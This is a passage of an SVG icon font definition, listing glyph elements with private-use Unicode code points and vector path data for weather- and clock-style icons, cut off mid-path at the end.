<glyph unicode="&#xf07e;" horiz-adv-x="2436" d="M-1 899q0 184 115.5 328.5t291.5 185.5q50 219 225 359t401 140q221 0 393.5 -137t224.5 -351h35q144 0 266 -69.5t193 -190.5t71 -265q0 -184 -113 -329q103 -88 241 -93l70 -6q19 0 19 -20v-82q1 -162 -78 -299t-215.5 -216.5t-297.5 -79.5q-123 0 -233.5 47 t-189.5 127t-125.5 190t-46.5 231h-735q-214 10 -363 163t-149 367zM181 899q0 -139 96.5 -241t233.5 -109h1194q137 7 233.5 109t96.5 241q0 140 -104 243t-246 103h-173q-18 0 -18 18l-8 62q-18 173 -149 289.5t-305 116.5q-176 0 -305.5 -116.5t-145.5 -289.5l-8 -62 q0 -18 -21 -18h-56q-134 -16 -224.5 -114.5t-90.5 -231.5zM1400 369q0 -127 64 -231.5t164.5 -160.5t212.5 -56q99 0 194.5 48t169 145.5t91.5 223.5q-172 35 -290 139q-135 -104 -301 -108h-305z" />
<glyph unicode="&#xf080;" horiz-adv-x="2436" d="M0 896q0 184 115 328t292 185q50 219 225 359.5t401 140.5q221 0 393.5 -137t224.5 -351h35q144 0 266 -69.5t193 -190.5t71 -265q0 -32 -3 -65q104 -82 164 -203.5t60 -259.5q0 -123 -47.5 -233.5t-127.5 -189.5t-190.5 -125.5t-231.5 -46.5q-120 0 -230 47 t-189.5 126.5t-127 189.5t-47.5 230h-734q-214 10 -363 163t-149 367zM182 896q0 -139 96.5 -241.5t233.5 -109.5h1194q137 7 234 109.5t97 241.5q0 140 -104 242.5t-247 102.5h-173q-18 0 -18 18l-8 62q-18 173 -149 290t-305 117q-175 0 -304.5 -117t-146.5 -290l-8 -62 q0 -18 -21 -18h-56q-134 -16 -224.5 -114t-90.5 -231zM1383 351q10 -180 146.5 -302t310.5 -122q96 0 181 37.5t143 99.5t91 141.5t33 162.5q0 78 -31.5 157t-90.5 144q-62 -132 -186 -215t-274 -88h-308q0 -3 2 -13q-12 -2 -17 -2z" />
<glyph unicode="&#xf081;" horiz-adv-x="1755" d="M0 235q0 126 72.5 223t193.5 135q51 174 212 266v37q0 233 147.5 410.5t373.5 219.5q57 10 115 10h3q33 0 75 -5q41 -3 78 -12l97 -30q21 -11 17 -28l-14 -75q-12 -51 -12 -103q0 -56 17.5 -114.5t53 -115t97 -103t141.5 -70.5l76 -22q18 -4 18 -19q0 -6 -1 -8l-19 -73 q-9 -39 -23 -78q-24 -70 -75 -146q0 1 -1 1q-70 -101 -175 -168q22 -54 22 -132q0 -158 -110.5 -269.5t-265.5 -111.5h-731q-155 0 -268.5 113t-113.5 268zM211 235q0 -72 49.5 -122.5t121.5 -50.5h731q69 0 119.5 51t50.5 122q0 69 -50.5 119.5t-119.5 50.5h-140 q-17 0 -27 24l-9 68q-11 92 -79.5 154t-161.5 62q-91 0 -157.5 -62t-77.5 -154l-11 -59q0 -24 -20 -24l-67 -9q-66 -6 -109 -54.5t-43 -115.5zM683 918h13q148 0 265.5 -83.5t164.5 -223.5q124 0 217 -77q111 69 163 187q-166 84 -259.5 240t-93.5 332v36q-5 0 -13 0.5 t-13 0.5q-98 0 -189 -42t-154 -120l-3 2q-87 -108 -98 -252z" />
<glyph unicode="&#xf082;" horiz-adv-x="2539" d="M0 521q0 -39 30 -66q26 -30 67 -30h1567q46 0 78 -32t32 -79q0 -46 -31.5 -76.5t-78.5 -30.5t-78 31q-26 28 -64 28q-40 0 -68.5 -27.5t-28.5 -65.5q0 -40 30 -67q90 -88 209 -88q125 0 214 86t89 210t-89.5 213.5t-213.5 89.5h-1567q-40 0 -68.5 -28t-28.5 -68zM0 871 q0 -37 30 -65q28 -28 67 -28h2138q125 0 214.5 87t89.5 210q0 124 -89.5 212t-214.5 88q-123 0 -208 -85q-29 -26 -29 -71q0 -41 27.5 -67t67.5 -26q39 0 67 26q30 33 75 33q46 0 77.5 -32t31.5 -78t-31.5 -77t-77.5 -31h-2138q-40 0 -68.5 -28t-28.5 -68zM168 133 q0 -38 26 -62q26 -26 62 -26q39 0 66 25t27 63q0 37 -27.5 63.5t-65.5 26.5q-36 0 -62 -26.5t-26 -63.5zM269 1192q0 -38 26 -62q26 -26 62 -26q39 0 65.5 25t26.5 63q0 37 -27 63.5t-65 26.5q-36 0 -62 -26.5t-26 -63.5zM592 1438q0 -38 26 -62q26 -26 62 -26q39 0 66 25 t27 63q0 37 -27.5 63.5t-65.5 26.5q-36 0 -62 -26.5t-26 -63.5zM602 201q0 -37 27 -62q26 -26 61 -26q39 0 66 25t27 63q0 37 -27.5 63.5t-65.5 26.5q-36 0 -62 -26.5t-26 -63.5zM1048 1249q0 -38 26 -62q26 -26 62 -26q39 0 66 25t27 63q0 37 -27.5 63.5t-65.5 26.5 q-36 0 -62 -26.5t-26 -63.5zM1082 77q0 -37 27 -62q26 -26 61 -26q39 0 66 25t27 63q0 37 -27.5 63.5t-65.5 26.5q-36 0 -62 -26.5t-26 -63.5zM1560 1266q0 -37 26 -61q27 -27 62 -27q39 0 66 25t27 63q0 37 -27.5 64t-65.5 27q-35 0 -61.5 -27t-26.5 -64zM2103 513 q0 -38 26 -62q26 -26 62 -26q39 0 65.5 25t26.5 63q0 37 -27 63.5t-65 26.5q-36 0 -62 -26.5t-26 -63.5z" />
<glyph unicode="&#xf083;" horiz-adv-x="1755" d="M0 239q0 -155 113.5 -268.5t268.5 -113.5h731q155 0 265.5 112t110.5 270q0 77 -22 131q133 85 210.5 226.5t77.5 302.5q0 130 -50.5 248.5t-136.5 204t-204 136.5t-247 51q-175 0 -322.5 -86t-232 -233t-84.5 -321v-36q-161 -92 -212 -266q-121 -38 -193.5 -135 t-72.5 -223zM211 239q0 67 43 115t109 54l67 9q20 0 20 24l11 60q11 92 77.5 154t157.5 62q93 0 161.5 -62t79.5 -154l9 -69q10 -24 27 -24h140q69 0 119.5 -50t50.5 -119q0 -72 -50.5 -123t-119.5 -51h-731q-72 0 -121.5 51t-49.5 123zM683 921q11 175 135.5 294t298.5 119 q178 0 302.5 -127t124.5 -308q0 -112 -54 -207.5t-147 -154.5q-94 78 -217 78q-47 140 -164.5 223t-265.5 83h-13z" />
<glyph unicode="&#xf084;" horiz-adv-x="2216" d="M3 768q2 54 53 168.5t142 245.5q298 417 841 440v47q0 33 22.5 53.5t51.5 20.5q30 0 53 -20.5t23 -53.5v-47q157 -7 293 -48t236.5 -106.5t172 -135t128.5 -150.5q66 -95 113 -202.5t65 -171.5t19 -65v-9v-11q0 -28 -22.5 -46.5t-52.5 -18.5q-50 0 -64 28 q-125 140 -272 140q-55 -3 -110 -24.5t-88 -44.5t-62 -46.5t-30 -24.5q-30 -28 -57 -28q-36 0 -55 19q-116 116 -214 141v-786v-8v-14t-0.5 -18t-1.5 -22t-4 -24.5t-6.5 -27t-9.5 -28t-13.5 -28.5t-18 -27.5t-22.5 -26.5q-81 -94 -233 -94q-162 0 -243 94q-19 19 -33.5 41 t-22 43.5t-13 41t-6.5 38.5t-1.5 31.5t0.5 25t1 13.5q0 29 25 50t59 15q28 0 47 -24.5t19 -59.5q-10 -65 27 -112q33 -47 141 -47q83 0 121 38q21 21 30.5 51t8.5 50l-1 20v785q-117 -28 -206 -122q-7 -13 -25 -24.5t-32 -11.5q-28 0 -64 36q-128 143 -272 140 q-64 -1 -120 -21t-84 -40.5t-58 -48t-34 -30.5q-33 -23 -54.5 -23t-51.5 18q-26 16 -31.5 34t-3.5 53zM226 920q108 57 205 57h9q184 0 336 -142q61 53 148 94t189 48h9q184 0 336 -142q61 53 148 94t189 48h10q90 0 187 -47q-71 137 -94 177q-287 374 -793 374 q-253 0 -452 -96t-325 -278q-40 -56 -102 -187z" />
<glyph unicode="&#xf085;" horiz-adv-x="2884" d="M0 80q0 -38 29 -64q27 -27 65 -27h627q41 0 72.5 -30t31.5 -73t-31.5 -74t-72.5 -31t-73 32q-29 26 -65 26q-38 0 -64 -25.5t-26 -63.5t26 -64q85 -85 202 -85q118 0 201 83.5t83 201.5t-83 201.5t-201 83.5h-627q-38 0 -66 -27t-28 -64zM0 401q0 -36 29 -62 q26 -26 65 -26h1170q118 0 201.5 83.5t83.5 201.5t-83 200t-202 82q-121 0 -201 -81q-25 -26 -25 -65t24.5 -63.5t63.5 -24.5q38 0 66 25q30 30 72 30t72.5 -30t30.5 -73t-30.5 -74t-72.5 -31h-1170q-38 0 -66 -27.5t-28 -64.5zM617 1099q0 38 28 66q28 26 64 26h217 q37 0 62 -27t25 -65t-25 -64.5t-62 -26.5h-217q-38 0 -65 27t-27 64zM922 1837q0 37 25 65q31 26 68 26q35 0 63 -26l152 -157q26 -24 26 -63q0 -38 -26 -63.5t-63 -25.5q-39 0 -63 26l-157 152q-25 27 -25 66zM1194 1112v7q3 146 79 269.5t203 195t274 71.5 q112 0 215 -44.5t177.5 -119t118.5 -177.5t44 -215q0 -150 -74 -277.5t-201 -202t-277 -75.5h-22q-11 0 -18.5 8t-7.5 19v130q0 21 23 21h26q154 1 263.5 111.5t109.5 265.5q0 154 -110.5 263t-266.5 109q-151 0 -260 -104t-115 -253q0 -9 -8.5 -18.5t-27.5 -9.5h-121 q-24 0 -24 26zM1659 58v212q0 38 26.5 64t64.5 26q40 0 65.5 -26t25.5 -64v-212q0 -39 -26.5 -66t-64.5 -27t-64.5 27t-26.5 66zM1659 1923v218q0 37 26.5 64t64.5 27t64.5 -27t26.5 -64v-218q0 -37 -26.5 -61.5t-64.5 -24.5t-64.5 24.5t-26.5 61.5zM2248 517q0 37 24 60 q24 25 61 25q39 0 64 -25l155 -152q26 -28 26 -65t-26 -63q-64 -50 -128 0l-152 152q-24 27 -24 68zM2248 1682q0 40 24 63l152 157q28 26 63 26q37 0 64 -27t27 -64q0 -40 -26 -66l-155 -152q-29 -26 -64 -26q-36 0 -60.5 25.5t-24.5 63.5zM2489 1099q0 38 26 66 q26 26 61 26h216q37 0 65 -27.5t28 -64.5t-28 -64t-65 -27h-216q-37 0 -62 26.5t-25 64.5z" />
<glyph unicode="&#xf086;" horiz-adv-x="2316" d="M0 528q0 185 113.5 328t292.5 183q37 165 149.5 288.5t269.5 176.5q99 34 206 34q130 0 251 -51q45 75 105.5 130t125 84.5t125.5 43.5t120 14q61 0 131 -17l87 -27q22 -9 15 -24l-15 -64q-11 -50 -11 -92q0 -50 15.5 -101t46.5 -100t85 -89t123 -61l66 -23q16 -4 16 -17 q0 -3 -2 -7l-19 -72q-44 -172 -160 -274q64 -112 69 -239q1 -8 1 -24q0 -143 -71 -264.5t-192.5 -192.5t-264.5 -71h-1153q-143 0 -264 71t-191 192.5t-70 264.5zM182 528q0 -142 102 -246t241 -104h1153q142 0 243.5 103t101.5 247q0 140 -102 241.5t-243 101.5h-190 l-11 80q-16 162 -134 276.5t-281 127.5q-5 0 -15.5 1t-15.5 1q-81 0 -164 -31v2q-117 -45 -196.5 -146t-95.5 -231l-7 -77l-73 -3q-135 -16 -224 -113t-89 -230zM1435 1393q170 -145 210 -339h34q199 0 338 -126q53 50 81 114q-146 69 -230 210t-84 297v26q-8 1 -26 1 q-93 2 -181 -46.5t-142 -136.5z" />
<glyph unicode="&#xf087;" horiz-adv-x="676" d="M-1 778v305q0 31 20.5 51.5t50.5 20.5h306q30 0 50.5 -20.5t20.5 -51.5q0 -30 -20.5 -49.5t-50.5 -19.5h-133l414 -414q18 -21 18 -53q0 -30 -18 -49q-20 -19 -54 -19q-31 0 -50 19l-411 413v-133q0 -31 -20.5 -51.5t-51.5 -20.5q-30 0 -50.5 21t-20.5 51z" />
<glyph unicode="&#xf088;" horiz-adv-x="677" d="M0 1067q0 31 18 50q20 19 54 19q31 0 50 -19l413 -413v133q0 31 20.5 51.5t51.5 20.5q30 0 50.5 -21t20.5 -51v-306q0 -31 -20.5 -51.5t-50.5 -20.5h-306q-30 0 -50.5 20.5t-20.5 51.5q0 30 20.5 50t50.5 20h132l-415 414q-18 21 -18 52z" />
<glyph unicode="&#xf089;" d="M0 767q0 209 103.5 386.5t280.5 280.5t385 103q156 0 298 -61t245 -164t164 -245.5t61 -299.5q0 -156 -61 -298.5t-164 -245t-245 -163t-298 -60.5q-157 0 -299.5 61t-245.5 164t-163.5 244.5t-60.5 297.5zM169 767q0 -243 177 -422q177 -177 423 -177q162 0 300 80.5 t219 218.5t81 300t-81 300.5t-219 219t-300 80.5t-300 -80.5t-219 -219t-81 -300.5zM710 767q0 -23 16.5 -40t40.5 -17q23 0 40 17t17 40v455q0 24 -17 40.5t-40 16.5q-24 0 -40.5 -16.5t-16.5 -40.5v-455z" />
<glyph unicode="&#xf08a;" d="M0 767q0 209 103.5 386.5t280.5 280.5t385 103q156 0 298 -61t245 -164t164 -245.5t61 -299.5q0 -156 -61 -298.5t-164 -245t-245 -163t-298 -60.5q-157 0 -299.5 61t-245.5 164t-163.5 244.5t-60.5 297.5zM169 767q0 -243 177 -422q177 -177 423 -177q162 0 300 80.5 t219 218.5t81 300t-81 300.5t-219 219t-300 80.5t-300 -80.5t-219 -219t-81 -300.5zM710 767v455q0 24 16.5 40.5t40.5 16.5q23 0 40 -16.5t17 -40.5v-241l51 89q12 20 35.5 26t43.5 -6q20 -11 26.5 -34t-5.5 -43l-156 -267q-13 -36 -52 -36q-24 0 -40.5 16.5t-16.5 40.5z " />
<glyph unicode="&#xf08b;" d="M0 767q0 209 103.5 386.5t280.5 280.5t385 103q156 0 298 -61t245 -164t164 -245.5t61 -299.5q0 -156 -61 -298.5t-164 -245t-245 -163t-298 -60.5q-157 0 -299.5 61t-245.5 164t-163.5 244.5t-60.5 297.5zM169 767q0 -243 177 -422q177 -177 423 -177q162 0 300 80.5 t219 218.5t81 300t-81 300.5t-219 219t-300 80.5t-300 -80.5t-219 -219t-81 -300.5zM710 767v1v454q0 24 16.5 40.5t40.5 16.5t40.5 -16.5t16.5 -40.5v-356l190 107q20 12 43 6t34 -28q12 -20 5.5 -43t-26.5 -35l-265 -148q-17 -15 -38 -15q-24 0 -40.5 16.5t-16.5 40.5z " />
<glyph unicode="&#xf08c;" d="M0 767q0 209 103.5 386.5t280.5 280.5t385 103q156 0 298 -61t245 -164t164 -245.5t61 -299.5q0 -156 -61 -298.5t-164 -245t-245 -163t-298 -60.5q-157 0 -299.5 61t-245.5 164t-163.5 244.5t-60.5 297.5zM169 767q0 -243 177 -422q177 -177 423 -177q162 0 300 80.5 t219 218.5t81 300t-81 300.5t-219 219t-300 80.5t-300 -80.5t-219 -219t-81 -300.5zM710 767v455q0 24 16.5 40.5t40.5 16.5t40.5 -16.5t16.5 -40.5v-397h258q24 0 40.5 -16.5t16.5 -40.5q0 -23 -16.5 -40t-40.5 -17h-303q-3 -1 -12 -1q-24 0 -40.5 16.5t-16.5 40.5z" />
<glyph unicode="&#xf08d;" d="M0 767q0 209 103.5 386.5t280.5 280.5t385 103q156 0 298 -61t245 -164t164 -245.5t61 -299.5q0 -156 -61 -298.5t-164 -245t-245 -163t-298 -60.5q-157 0 -299.5 61t-245.5 164t-163.5 244.5t-60.5 297.5zM169 767q0 -243 177 -422q177 -177 423 -177q162 0 300 80.5 t219 218.5t81 300t-81 300.5t-219 219t-300 80.5t-300 -80.5t-219 -219t-81 -300.5zM710 767v455q0 24 16.5 40.5t40.5 16.5t40.5 -16.5t16.5 -40.5v-420l245 -143q20 -12 26 -34.5t-6 -42.5q-16 -29 -49 -29q-17 0 -29 8l-261 152q-17 5 -28.5 20t-11.5 34z" />
<glyph unicode="&#xf08e;" d="M0 767q0 209 103.5 386.5t280.5 280.5t385 103q156 0 298 -61t245 -164t164 -245.5t61 -299.5q0 -156 -61 -298.5t-164 -245t-245 -163t-298 -60.5q-157 0 -299.5 61t-245.5 164t-163.5 244.5t-60.5 297.5zM169 767q0 -243 177 -422q177 -177 423 -177q162 0 300 80.5 t219 218.5t81 300t-81 300.5t-219 219t-300 80.5t-300 -80.5t-219 -219t-81 -300.5zM710 767v1v454q0 24 16.5 40.5t40.5 16.5t40.5 -16.5t16.5 -40.5v-438l147 -262q12 -22 5.5 -44.5t-26.5 -34.5q-11 -6 -28 -6q-34 0 -50 28l-150 266q-12 15 -12 36z" />
<glyph unicode="&#xf08f;" d="M0 767q0 209 103.5 386.5t280.5 280.5t385 103q156 0 298 -61t245 -164t164 -245.5t61 -299.5q0 -156 -61 -298.5t-164 -245t-245 -163t-298 -60.5q-157 0 -299.5 61t-245.5 164t-163.5 244.5t-60.5 297.5zM169 767q0 -243 177 -422q177 -177 423 -177q162 0 300 80.5 t219 218.5t81 300t-81 300.5t-219 219t-300 80.5t-300 -80.5t-219 -219t-81 -300.5zM710 453v769q0 24 16.5 40.5t40.5 16.5t40.5 -16.5t16.5 -40.5v-769q0 -24 -16.5 -41t-40.5 -17t-40.5 17t-16.5 41z" />
<glyph unicode="&#xf090;" d="M0 767q0 209 103.5 386.5t280.5 280.5t385 103q156 0 298 -61t245 -164t164 -245.5t61 -299.5q0 -156 -61 -298.5t-164 -245t-245 -163t-298 -60.5q-157 0 -299.5 61t-245.5 164t-163.5 244.5t-60.5 297.5zM169 767q0 -243 177 -422q177 -177 423 -177q162 0 300 80.5 t219 218.5t81 300t-81 300.5t-219 219t-300 80.5t-300 -80.5t-219 -219t-81 -300.5zM556.5 477.5q-6.5 22.5 5.5 44.5l148 262v438q0 24 16.5 40.5t40.5 16.5t40.5 -16.5t16.5 -40.5v-454v-1q0 -20 -13 -36l-149 -266q-16 -28 -51 -28q-16 0 -27 6q-21 12 -27.5 34.5z" />
<glyph unicode="&#xf091;" d="M0 767q0 209 103.5 386.5t280.5 280.5t385 103q156 0 298 -61t245 -164t164 -245.5t61 -299.5q0 -156 -61 -298.5t-164 -245t-245 -163t-298 -60.5q-157 0 -299.5 61t-245.5 164t-163.5 244.5t-60.5 297.5zM169 767q0 -243 177 -422q177 -177 423 -177q162 0 300 80.5 t219 218.5t81 300t-81 300.5t-219 219t-300 80.5t-300 -80.5t-219 -219t-81 -300.5zM439 624.5q6 22.5 26 34.5l245 143v420q0 24 16.5 40.5t40.5 16.5t40.5 -16.5t16.5 -40.5v-455q0 -19 -11.5 -34t-28.5 -20l-262 -152q-12 -8 -28 -8q-33 0 -49 29q-12 20 -6 42.5z" />
<glyph unicode="&#xf092;" d="M0 767q0 209 103.5 386.5t280.5 280.5t385 103q156 0 298 -61t245 -164t164 -245.5t61 -299.5q0 -156 -61 -298.5t-164 -245t-245 -163t-298 -60.5q-157 0 -299.5 61t-245.5 164t-163.5 244.5t-60.5 297.5zM169 767q0 -243 177 -422q177 -177 423 -177q162 0 300 80.5 t219 218.5t81 300t-81 300.5t-219 219t-300 80.5t-300 -80.5t-219 -219t-81 -300.5zM394 768q0 24 16.5 40.5t40.5 16.5h259v397q0 24 16.5 40.5t40.5 16.5t40.5 -16.5t16.5 -40.5v-455q0 -24 -16.5 -40.5t-40.5 -16.5q-10 0 -13 1h-303q-24 0 -40.5 17t-16.5 40z" />
<glyph unicode="&#xf093;" d="M0 767q0 209 103.5 386.5t280.5 280.5t385 103q156 0 298 -61t245 -164t164 -245.5t61 -299.5q0 -156 -61 -298.5t-164 -245t-245 -163t-298 -60.5q-157 0 -299.5 61t-245.5 164t-163.5 244.5t-60.5 297.5zM169 767q0 -243 177 -422q177 -177 423 -177q162 0 300 80.5 t219 218.5t81 300t-81 300.5t-219 219t-300 80.5t-300 -80.5t-219 -219t-81 -300.5zM437 908q-7 23 5 43q11 20 34.5 27t43.5 -5l190 -107v356q0 24 16.5 40.5t40.5 16.5t40.5 -16.5t16.5 -40.5v-454v-1q0 -24 -16.5 -40.5t-40.5 -16.5q-21 0 -38 15l-265 148q-20 12 -27 35 z" />
<glyph unicode="&#xf094;" d="M0 767q0 209 103.5 386.5t280.5 280.5t385 103q156 0 298 -61t245 -164t164 -245.5t61 -299.5q0 -156 -61 -298.5t-164 -245t-245 -163t-298 -60.5q-157 0 -299.5 61t-245.5 164t-163.5 244.5t-60.5 297.5zM169 767q0 -243 177 -422q177 -177 423 -177q162 0 300 80.5 t219 218.5t81 300t-81 300.5t-219 219t-300 80.5t-300 -80.5t-219 -219t-81 -300.5zM553 1056q6 23 26 34q20 12 43.5 6t34.5 -26l53 -89v241q0 24 16.5 40.5t40.5 16.5t40.5 -16.5t16.5 -40.5v-455q0 -24 -16.5 -40.5t-40.5 -16.5q-41 0 -54 36l-154 267q-12 20 -6 43z" />
<glyph unicode="&#xf095;" d="M0 769q0 157 61 299.5t164 245.5t245.5 164t298.5 61q157 0 299.5 -61t245.5 -164t164 -245.5t61 -299.5q0 -156 -61 -298.5t-164 -245.5t-245.5 -164t-299.5 -61q-156 0 -298.5 61t-245.5 164t-164 245.5t-61 298.5zM82 769q0 -139 54.5 -266.5t146.5 -219.5 t219.5 -146.5t266.5 -54.5q140 0 267 54.5t219.5 146.5t147 219.5t54.5 266.5q0 186 -92.5 344.5t-251 251t-344.5 92.5q-139 0 -266.5 -54.5t-219.5 -147t-146.5 -219.5t-54.5 -267z" />
<glyph unicode="&#xf096;" d="M769 0q209 0 385.5 103t279.5 280t103 386t-103 385.5t-279.5 279.5t-385.5 103q135 -53 237 -140.5t160.5 -192.5t86.5 -214t28 -221q0 -66 -5 -125.5t-20 -127.5t-38.5 -127t-63 -118.5t-92 -108t-127.5 -91t-166 -71.5z" />
<glyph unicode="&#xf097;" d="M769 0q209 0 385.5 103t279.5 280t103 386t-103 385.5t-279.5 279.5t-385.5 103q113 -60 197.5 -149.5t133 -193t72 -209.5t23.5 -216q0 -93 -9 -173.5t-36.5 -172.5t-72.5 -166t-124 -142.5t-184 -114.5z" />
<glyph unicode="&#xf098;" d="M769 0q209 0 385.5 103t279.5 280t103 386t-103 385.5t-279.5 279.5t-385.5 103q175 -129 258 -335.5t83 -432.5q0 -92 -7 -170.5t-29.5 -168.5t-58.5 -163.5t-99 -144.5t-147 -122z" />
<glyph unicode="&#xf099;" d="M769 0q209 0 385.5 103t279.5 280t103 386t-103 385.5t-279.5 279.5t-385.5 103q132 -142 194 -344.5t62 -423.5q0 -90 -5.5 -166.5t-22 -164.5t-44 -161.5t-74.5 -146.5t-110 -130z" />
<glyph unicode="&#xf09a;" d="M768 0q209 0 386 103t280 280t103 386t-103 385.5t-280 279.5t-386 103q171 -297 171 -768q0 -239 -35.5 -430t-135.5 -339z" />
<glyph unicode="&#xf09b;" d="M768 0q209 0 386 103t280 280t103 386t-103 385.5t-280 279.5t-386 103q171 -297 171 -768q0 -239 -35.5 -430t-135.5 -339z" />
<glyph unicode="&#xf09c;" d="M769 0q209 0 385.5 103t279.5 280t103 386t-103 385.5t-279.5 279.5t-385.5 103v-1537z" />
<glyph unicode="&#xf09d;" d="M695 769q0 -464 74 -769q209 0 385.5 103t279.5 280t103 386t-103 385.5t-279.5 279.5t-385.5 103q-74 -381 -74 -768z" />
<glyph unicode="&#xf09e;" d="M622 769q0 -488 146 -769q209 0 386 103t280 280t103 386t-103 385.5t-280 279.5t-386 103q-146 -350 -146 -768z" />
<glyph unicode="&#xf09f;" d="M550 770q0 -245 48.5 -436.5t171.5 -333.5q156 0 298.5 61t245.5 164t164 245.5t61 299.5t-61 299t-164 245t-245.5 164t-298.5 61q-104 -149 -162 -350t-58 -419z" />
<glyph unicode="&#xf0a0;" d="M477 770q0 -122 13.5 -225t45.5 -204t91 -187.5t143 -153.5q157 0 299 61t245 164t164 245.5t61 299.5q0 209 -103 386t-280 280t-386 103q-138 -133 -215.5 -336.5t-77.5 -432.5z" />
<glyph unicode="&#xf0a1;" d="M403 770q0 -127 17 -233t57 -207.5t114 -185t179 -144.5q156 0 298.5 61t245.5 164t164 245.5t61 299.5t-61 299t-164 245t-245.5 164t-298.5 61q-171 -117 -269 -323.5t-98 -445.5z" />
<glyph unicode="&#xf0a2;" d="M330 770q0 -105 12 -193.5t42.5 -177t79.5 -160t126.5 -133.5t179.5 -106q157 0 299 61t245 164t164 245.5t61 299.5q0 209 -103 386t-280 280t-386 103q-204 -102 -322 -310.5t-118 -458.5z" />
<glyph unicode="&#xf0a3;" d="M0 769q0 -209 103 -386t280 -280t386 -103t385.5 103t279.5 280t103 386t-103 385.5t-279.5 279.5t-385.5 103t-386 -103t-280 -279.5t-103 -385.5z" />
<glyph unicode="&#xf0a4;" d="M0 766q0 -125 38.5 -242t109.5 -211t165 -165t211 -109.5t242 -38.5q515 143 515 766q0 121 -28.5 230t-77 193t-115 153t-140.5 115t-154 73q-156 0 -298 -60.5t-244.5 -163t-163 -244t-60.5 -296.5z" />
<glyph unicode="&#xf0a5;" d="M0 766q0 -125 38.5 -242t109.5 -211t165 -165t211 -109.5t242 -38.5q443 177 443 766q0 142 -37 268.5t-100.5 220.5t-140.5 163t-165 113q-208 0 -384.5 -102.5t-279 -278.5t-102.5 -384z" />
<glyph unicode="&#xf0a6;" d="M0 766q0 -125 38.5 -242t109.5 -211t165 -165t211 -109.5t242 -38.5q370 212 370 766q0 134 -30.5 255.5t-84 216.5t-117.5 168t-138 127q-156 0 -298 -60.5t-244.5 -163.5t-163 -245t-60.5 -298z" />
<glyph unicode="&#xf0a7;" d="M0 767q0 -156 60.5 -298t163.5 -245t245 -163.5t298 -60.5q296 245 296 767q0 240 -83.5 434.5t-212.5 332.5q-208 0 -385 -103t-279.5 -279.5t-102.5 -384.5z" />
<glyph unicode="&#xf0a8;" d="M0 767q0 -208 103 -384.5t279.5 -279.5t384.5 -103q222 282 222 767q0 406 -222 767q-208 0 -384.5 -102.5t-279.5 -279.5t-103 -385z" />
<glyph unicode="&#xf0a9;" d="M0 768q0 -209 103 -385.5t279.5 -279.5t385.5 -103q147 315 147 768q0 354 -147 767q-156 0 -298.5 -60.5t-245 -163.5t-163.5 -245t-61 -298z" />
<glyph unicode="&#xf0aa;" d="M0 769q0 -209 103 -386t279.5 -280t385.5 -103v1537q-209 0 -385.5 -103t-279.5 -279.5t-103 -385.5z" />
<glyph unicode="&#xf0ab;" d="M0 769q0 -209 103 -386t279.5 -280t385.5 -103q-102 322 -102 769q0 351 102 768q-209 0 -385.5 -103t-279.5 -279.5t-103 -385.5z" />
<glyph unicode="&#xf0ac;" d="M0 769q0 -209 103 -386t280 -280t386 -103q-206 281 -206 769q0 408 206 768q-209 0 -386 -103t-280 -279.5t-103 -385.5z" />
<glyph unicode="&#xf0ad;" d="M0 769q0 -209 103 -386t279.5 -280t385.5 -103q-306 239 -306 769q0 238 85.5 437t220.5 331q-209 0 -385.5 -103t-279.5 -279.5t-103 -385.5z" />
<glyph unicode="&#xf0ae;" d="M0 769q0 -209 103 -386t280 -280t386 -103q-212 103 -311 295.5t-99 473.5q0 259 115.5 461t294.5 307q-209 0 -386 -103t-280 -279.5t-103 -385.5z" />
<glyph unicode="&#xf0af;" d="M0 769q0 -209 103 -386t279.5 -280t385.5 -103q-265 81 -388.5 274.5t-123.5 494.5q0 142 41 269.5t111.5 223.5t162 166.5t197.5 108.5q-209 0 -385.5 -103t-279.5 -279.5t-103 -385.5z" />
<glyph unicode="&#xf0b0;" d="M0 769q0 -209 103 -386t279.5 -280t385.5 -103q-149 57 -259 128t-175.5 143.5t-104.5 159.5t-52.5 165t-13.5 172q0 67 5.5 123.5t22 121t44 119.5t74 113.5t108.5 107.5t151 97t200 87q-209 0 -385.5 -103t-279.5 -279.5t-103 -385.5z" />
<glyph unicode="&#xf0b1;" d="M0 765q0 209 103.5 386.5t280.5 280.5t385 103q156 0 298 -61t245 -164t164 -245.5t61 -299.5q0 -156 -61 -298.5t-164 -245t-245 -163t-298 -60.5q-157 0 -299.5 61t-245.5 164t-163.5 244.5t-60.5 297.5zM169 765q0 -243 177 -422q177 -177 423 -177q162 0 300 80.5 t219 218.5t81 300t-81 300.5t-219 219t-300 80.5t-300 -80.5t-219 -219t-81 -300.5zM503 366l256 895q1 10 10 10t10 -10l255 -895q4 -11 -1.5 -17t-16.5 0l-237 89q-10 4 -20 0l-239 -89q-10 -6 -14.5 0t-2.5 17z" />
<glyph unicode="&#xf0b2;" horiz-adv-x="2883" d="M0 526v1q0 185 115.5 329t292.5 186q49 219 224.5 360t402.5 141q159 0 290 -70q80 85 188 133.5t223 48.5q152 0 281.5 -75.5t205 -205t75.5 -281.5q0 -197 -122 -351q46 -98 46 -215q0 -141 -68 -261.5t-185.5 -193.5t-258.5 -77q-21 0 -21 19v143q0 19 21 19 q137 7 232.5 109.5t95.5 241.5q0 142 -103 244t-246 102h-172q-19 0 -19 18l-8 63q-18 173 -149.5 290.5t-305.5 117.5q-176 0 -305.5 -117.5t-146.5 -290.5l-8 -63q-5 -14 -24 -14l-54 -4q-135 -16 -225 -113.5t-90 -232.5v-5h3q2 -156 118 -259q35 -31 79 -52v-2 q66 -30 129 -33q18 0 18 -18v-143q0 -18 -18 -18q-83 5 -158 32v-2q-133 46 -225.5 153t-118.5 246v4q-1 1 -1 3q-8 40 -8 93zM587 -239q0 5 2 13.5t2 12.5l10 63q11 38 43.5 56.5t72.5 8.5q36 -11 54 -43.5t7 -66.5l-15 -64q-16 -70 -81 -70q-5 0 -15.5 1.5t-13.5 1.5 q-33 10 -49.5 35t-16.5 52zM666 75q0 38 25 63t63 25t63 -25t25 -63q0 -37 -25 -61.5t-63 -24.5q-37 0 -61 26q-27 25 -27 60zM841 -563q0 6 4 24l14 62q11 36 44 54.5t67 7.5q37 -7 56 -39t9 -73l-14 -63q-16 -65 -85 -65q-8 0 -26 4q-35 10 -52 35.5t-17 52.5zM898 1838 q0 38 27 64t67 26q38 0 64 -26l67 -70q27 -27 27 -64q0 -39 -32 -68.5t-65 -24.5q-33 3 -59 29l-69 70q-27 27 -27 64zM925 -254q0 37 25 62t63 25t63 -25t25 -62q0 -38 -25 -63t-63 -25q-35 0 -62 27q-26 26 -26 61zM991 -11q0 15 3 28l24 96q11 37 44 56.5t68 8.5 q38 -11 56.5 -42.5t7.5 